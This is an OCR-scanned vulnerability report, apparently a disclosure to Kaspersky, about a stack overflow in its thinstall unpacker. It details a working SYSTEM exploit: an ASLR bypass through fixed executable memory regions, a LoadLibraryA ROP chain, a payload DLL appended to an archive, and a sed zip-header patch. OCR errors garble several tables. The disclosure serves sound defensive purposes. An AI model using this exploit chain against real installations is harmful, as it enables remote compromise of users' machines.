Trivial fuzzing reveals hundreds of unique exploitable conditions in Kaspersky Antivirus. The
large number of results suggests that testing and auditing has been neglected at Kaspersky.
The test cases | have are currently being triaged, and will be forwarded as soon as possible, but
| would recommend building or extending your own fuzzing infrastructure urgently.

The first vulnerability ready for analysis is a stack buffer overflow in the thinstall container
unpacker. The vulnerability can result in arbitrary remote code execution as NT
AUTHORITY\SYSTEM. The vulnerability is present in the default configuration, and a working
exploit has been provided with this report.

It's possible to exploit this vulnerability simply by visiting a website or receiving an email. It is not
necessary to open or read the email, as the filesystem 1/O is sufficient to trigger the exploitable
condition in avp.exe. For this reason, this vulnerability is conducive to a worm, and should be
treated with the utmost priority.

Additionally, third party Kaspersky distributors such as ZoneAlarm, Landesk and other antivirus
vendors are also affected.

Executive Summary

e A working remote SYSTEM exploit has been provided for a vulnerability in Kaspersky
Antivirus.

e It is unacceptable that Kaspersky is shipping security products in 2015 without /GS.
There is no excuse for this, and fixing it should be considered the highest engineering
priority.

e Kaspersky has made some effort to support ASLR, but mistakes prevented it from being
effective. Fixing this will make future exploitation more difficult.

Details

Thinstall containers are virtualization wrappers around applications to simplify bundling, the
product was acquired by VMware and renamed VMware ThinApp.

Trivial fuzzing of thinstall applications revealed a stack buffer overflow extracting the container
contents. Because Kaspersky do not enable /GS, it is possible to overwrite the stack frame and
redirect execution quite simply.

(8£0.b28): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=0be4005c ecx=09£9d810 edx=00000000 esi=0be4005c edi=0d90ef64
eip=41414141 esp=09f9dcSc ebp=43434343 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b £s=0053 gs=002b ef1=00010207


https://www.vmware.com/products/thinapp

41414141 272 ?27??
0:084> 1lmv m avp

start end module name
01340000 01401000 avp (deferred)
Image path: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 16.0.0\avp.exe
Image name: avp.exe
Timestamp: Thu Jul 23 11:39:44 2015 (55B134F0)
CheckSum: 00036438
ImageSize: 00031000
File version: 16.0.0.625
Product version: 16.0.0.625

File flags:
File 0OS:

File type:
File date:
Translations:
CompanyName :
ProductName:
InternalName:

OriginalFilename:

ProductVersion:
FileVersion:
FileDescription:
LegalCopyright:
LegalTrademarks:
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Exploitation

Because there is no /GS, we can easily redirect execution anywhere we want. However,
Kaspersky have enabled /DYNAMICBASE for all of their modules, making it difficult to redirect
execution to a predictable location. This is really impressive, nice work.
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538 KB 8228K 10380K 1324 Micrasoft Corpo
<001 52 MB 288 MB 12160 K 12384 K 1436 Hast Process for Windows T... Miciosoft Corpo
1168 1608 1,940 K 6.224K 1664 SOL Server WSS Witer - 64 Bit Miciosoft Corpa
<001 4084 K FEBK 1728 Spsloghigent Datagram Const
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<00t 20 ME 35 KB 420K 11380K 2076 COM Sumogate Microsaft Corpo
5840 KB 3476 K 8080K 2196 Microsolt Diskibuted Transa.. Microsoft Corpa
2120, 5538K 2704 Hast Process for Windows §.. Microsoft Copo
<001 81 MB EAN 20,708 K 18.012K 2840 Microsoft Windaws Search | Microsoft Corpa
192 MB 1.9 KB 50740 23600K 1424 Hast Process for Windons .. Miciosoft Corpo
NBOMB 2228 MB 25,088 K 28464 K 3964 Windows Modules Installer  Microsoft Corpa
1366 MB 412KB  123640K  125824K 2268 Kaspersky AntiVius Kaspersky Lab
568 K 248K 1340 Microsaft Software: Protectio... Mierosoht Compo
1248 KB 1809 KB 3976 K 11,372K 480 Local Secuity Authary Proc... Miciosoft Corpa
254K 4283K 488 Local Session Manager Serv... Microsolt Coro
005 36 MB 30,464 K 20088K 416 Client Server Runlime Pracess Microsoft Corpo
) wirlogon.eve 142 KB 283K 712K 512 Windows Logon Applicaion  Microsoft Corpo
B explorerere 003 6.4 MB 100 KB 270K 69.508K 2320 Windows Explorer Mictosaft Corpo
3 wmtoolsd ez 007 143 KB 147 KB =13 14064 K 2452 Yware Tools Core Service  iwware, I
windbg. exe <001 43 MB 15,668 K 25536K 620 Windows GUI spmbalic debut.. Microsoft Copo—)
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Name [ Desciption [ Company tame [ Pah LR N -
prstubppl Prasp Stubs A0 Kaspersky Lab C:\Program Flles (485)\Kaspersky Lab\Raspersky Anti s . ASLR
fsspre.dll Spstem Interceptars PDK legacy in... AQ Kaspersky Lab C:\Pragram Files (486 )\Kaspersky Lab\Kaspersky Antifius . ASLR
preore.dl Prague Core Kaspersky Leb 280 C:\Pragram Files [+86)\Kaspersky Lab\Kaspersky Aniftius . ASLR
prremote.di PR_REMOTE Kaspersky Lab 240 C:APragram Files [+86)\Kaspersky Lab\Kaspersky g vius . ASLR
meverl 00dI Micrasoht® C Runtime Library Mierasoft Corporation C:\Program Files (428)\Kaspersky Lab\Kaspersky 4htivins . ASLR
winieg ppl WINREG Kaspersky Lah ZA0 C:\Program Files (486)\Kasnersky Lab\Kaspersky fintivins .. ASLR
Lib.dl Fiter Library Micrasoft Corporation C:Windaws\SyswOEAATILib.dI ASLR
wio.ppl NFID Kaspersky Lab ZA0 C:\Program Files (486)\Kaspersky Lab\Kasperskgntiinus . ASLR
mevep 00.dI Miciasalt® C Runtime Library Micrasoft Corporalion C:\Pragram Files [+86)\Kaspersky Lab\Kasperskl Antiius . ASLR
ushatadl Ushata module 40 Kaspersky Lab C:APragram Files [+86)\Kaspersky Lab\K aspersh ntiius . ASLR
sdruplg prl Plugin for FSDrv Kaspersky Lab 240 C:\Program Files (438)\K aspersky LabKaspersh Antivins . ASLR
updater metadl  Updater meta library Kaspersky LabZA0 C:\Program Fles (+85)\Kaspersky Lab\Kaspersfly Anti i .. ASLR
aystem_intstcaptors. . System Intetcsptors POK metadats 40 Kaspersky Lab C:\Program Files (486 )\Kasnersky Lab\Kasperstly Antiins . ASLR
uep_metadl Metalrfo for UICP PDK 40 Kasperskp Lab C:\Program Files (486 )\Kaspersky Lab\Kasperstly Antiinus . ASLR
Ksn_metadl Metalrfa for KSH PDK Kaspersky Leb 280 C:\Pragram Files [+86)\Kaspersky Lab\Kaspersily Anfiius . ASLR
plugins_meta.dll Kaspersky plugins pdk meta 40 Kaspersky Lab C:\Pragram Files [+85)\Kaspersky Lab\K aspersfly Antivius . ASLR
sn_metadl System Watcher Meta Information  AD Kaspersky Lab C:\Program Files (438)\.asersky LabKaspershh Antivins . ASLR
anp_care_metadl A0 Kaspersky Lab C:\Program Fles (+35)\Kaspersky Lab\Kaspershp Anti i .. ASLR
waific_processing...  Tralfic Processing PDK Meta A0 Kaspersky Lab C:\Program Fles (486 )\Kasnersky Lab\Kasperskntivins .. ASLR
lcensing_meta.dl  Licensing PDK meta il Kaspersky Lab 280 C:\Pragram Files (486)\Kaspersky Lab\Kasperskibntivins . ASLR
am_metadl 40 Kaspersky Lab C:\Pragram Files [+86)\Kaspersky Lab\Kasperskylintiius . ASLR
backup_facade_me... Backup facade metainio 40 Kaspersky Lab C:\Pragram Files [+85)\Kaspersky Lab\Kaspersky Antivius .. ASLR
canlent_filering me... Kaspersky content fitering pdk meta_AD Kaspersky Lab C:\Program Files (436)\aspersky Lab\Kaspersky Shtivins . ASLR
vins kd| SOBSEOTET... Yuherabilty soanner Kaspersky Lah ZA0 C:\ProgramDatatKaspersky LabbAvP16 0.0\Bases\TNghet.. ASLR
biowser_integration... Browset Integration 40 Kaspersky Lab C:\Pragram Files (486)\Kaspersky Lab\Kaspersky AntiWgs .. ASLR -
CPU Usage: 4.96%  [Commit Charge: 9.24%  |Processes: 43 Physical Usage: 19.40% | N S b

Unfortunately, a few mistakes prevented it from working. Multiple
PAGE_EXECUTE_READWRITE mappings are created at fixed locations using VirtualAlloc(),
which contain predictable contents.

0:117> !address 0x7e670000

Usage: <unknown>

Base Address: 7e670000

End Address: 7e671000

Region Size: 00001000

State: 00001000 MEM_COMMIT

Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM PRIVATE

Allocation Base: 7e670000

Allocation Protect: 00000040 PAGE_EXECUTE_READWRITE

It's also possible to see these mappings using the vmmap tool from sysinternals, if you prefer.
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Frivate Data 4K 4K 4K 1 Execute
Frivate Data 9408 K 9,408 K 9,408 K 1 Execute/Read
FEEFO000 Private Data 4K 4K 4K 4K 4K 1 Ezecute/Read 4k
[ FEEE0000 Private Diata 4K 4K 4K 4K 4K 1 Execute/Readri
Private Data 4K LYS 4K 4K 4K 1 Execute/Re, -
TE AL LIS Private Data B124 K B124 K 124K 1 2adAd it
FEEE0000 Ly 18 8k akK 4K 4K 1 Read
FFFECOOO Private Data DT ; el b il 4K 2 Read
Q0030000 Private Data 1K 1k, 4K 1 Head write
00070000 Private Diata 4K 4k 4K 4K 4K 1 Read/wiite
O00F 0000 Private Data 4K 4k 4K 1 Readwiite
002Co000 Private Data 128K 4k 4K 2 Read wiite
Private Data 12K 492 K 452K 5E K 5E K 2 Read/wiite
01 FDO000 Frivate Data 4K 4K 4K 1 Read/wiite
O1FFO000 Prirate Data 4K 4k 4K 1 Read wiite
02EEDQOD Private Data E4 K 4K 4K 2 Readwrite
03140000 Frivate Data 4K 4K 4K 4K 4K 1 Read/wiite
Private Data g gk 8K 1 Read wiite
Qza20000 Private Data 4K 4K 4K 1 Read/rite
TES52000 Frivate Data 12K 12K 12K 12K 12K 1 Read/wiite
7ESSBO00 Frivate Data 12K 12K 12K 12K 12K 1 Read/wiite
7ESEEOOD Private Data 12K 12K 12K 8K K 1 Read/write
Private Data 12K 12K 12K 12K 12K 1 Read/wiite
TESE4000 Frivate Data 12K 12K 12K K K 1 Read/wiite
7ESEFO00 Private Data 12K 12K 12K 12K 12K 1 Read/write
FESEA000 Private Diata 12K 12K 12K akK K 1 Read/wiite
Private Data 12K 12K 12K 8K 8K 1 Read wiite
FESF0000 Private Data 12K 12K 12K 12K 12K 1 Read/write
FESF3000 Private Data 12K 12K 12K K aK 1 Read/wiite
FESFEOO0 Frivate Data 12K 12K 12K 12K 12K 1 Read/wiite
TESFI000 Frivate Data 12K 12K 12K 12K 12K 1 Read/wiite =
+ i o T s 1w 1A 1w 1w 1w 1 Meoana-
e | il
Timeline.. . | Heap Allocations... | Call Tree. .. I THACE v |

g

| used the .writemem windbg command, and a quick shell script to search for gadgets and

quickly found a stub for calling kernel32!LoadLibraryA.

0:001> u 0x7e670470
7e670470 58 pop eax

7e670471 688£49db76 push offset kernel32!LoadLibraryA (76db498f)

7e670476 c3 ret




7e670477 cc int 3

7e670478 55 push ebp

7e670479 8bec mov ebp, esp

7e67047b 81lecb0000000 sub esp, 0BOh

7e670481 833d5cff686800 cmp dword ptr [ushata!UshataInitializeForService+0x1639c

(6868£f£f5c) 1,0

The problem is there is no way to know where any useful strings are located, because the stack
and all modules are randomized. My first thought was that the filename that’s being scanned
must be somewhere on the stack, and using the s command | located a pointer to it at
[esp+0x8F*4].

0:124> dda esp+8e*4 L1
0c85ed4cc 0ba2lfb8 "\\vmware-host\Shared Folders\exploit.txt"

Multiple attempts confirmed this was reliable, so | just need to get that string passed to
kernel32!LoadLibraryA, and then if | make it a valid DLL | can execute code.

| built a simple ROP chain to clear the stack and return into LoadLibraryA, and it worked
beautifully.

0:124> dda esp L8f
0c85e294 00000000
0c85e298 7e670471 "h.I.v..U..... "
0c85e29c 00000000
0c85e2a0 7e670471 "h.I.v..U..... "
0c85e2a4 00000000
0c85e2a8 7e670471 "h.I.v..U..... "
0c85e2ac 00000000
0c85e4c8 7e670471 "h.I.v..U..... "

0c85ed4cc 0ba2lfb8 "\\vmware-host\Shared Folders\exploit.txt"

Unfortunately, the loader rejected the file for having an invalid e_Ifanew. | was unable to satisfy
both the Kaspersky parser and the Microsoft parser, so came up with a different idea.

Final Exploitation

I had already noticed that Kaspersky will scan archives appended to other files, i.e.

$ cat file.doc file.zip > newfile.doc

| wondered if this would work.

$ cat payload.dll exploit.txt > finalexploit.txt



The exploit was triggered, but unfortunately the filename on the stack | was using was written
differently, It was now written like “C:\finalexploit.txt//exploit.txt”, which was
not a string that LoadLibraryA would accept.

The solution was simply to modify the zip header to name the file “, i.e. an empty string, when
Kaspersky produces the filename it appends the empty string and the filename is still a valid
target for LoadLibraryA.

$ sed -1 's/t\ (hinstall.exe\)/\x00\1/' exploit.zip

| wrote a quick payload dll to load:

$ cat wrapper.c
#include <windows.h>

#pragma comment (1ib, "shell32")

BOOLEAN WINAPI Dl1lMain (HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{

ShellExecute (NULL, "open", "calc", NULL, NULL, 0);

ExitProcess (0);

return 1;

| verified it worked on version 15 and 16 of Kaspersky Antivirus on Windows 7. Note that the
calculator is displayed on the Service Desktop, so you will need to use Process Explorer to
verify it was created.

To reproduce the problem, simply scan the testcase | have provided with this report, and
observe a calculator appearing. | have also provided some source code to assist you.
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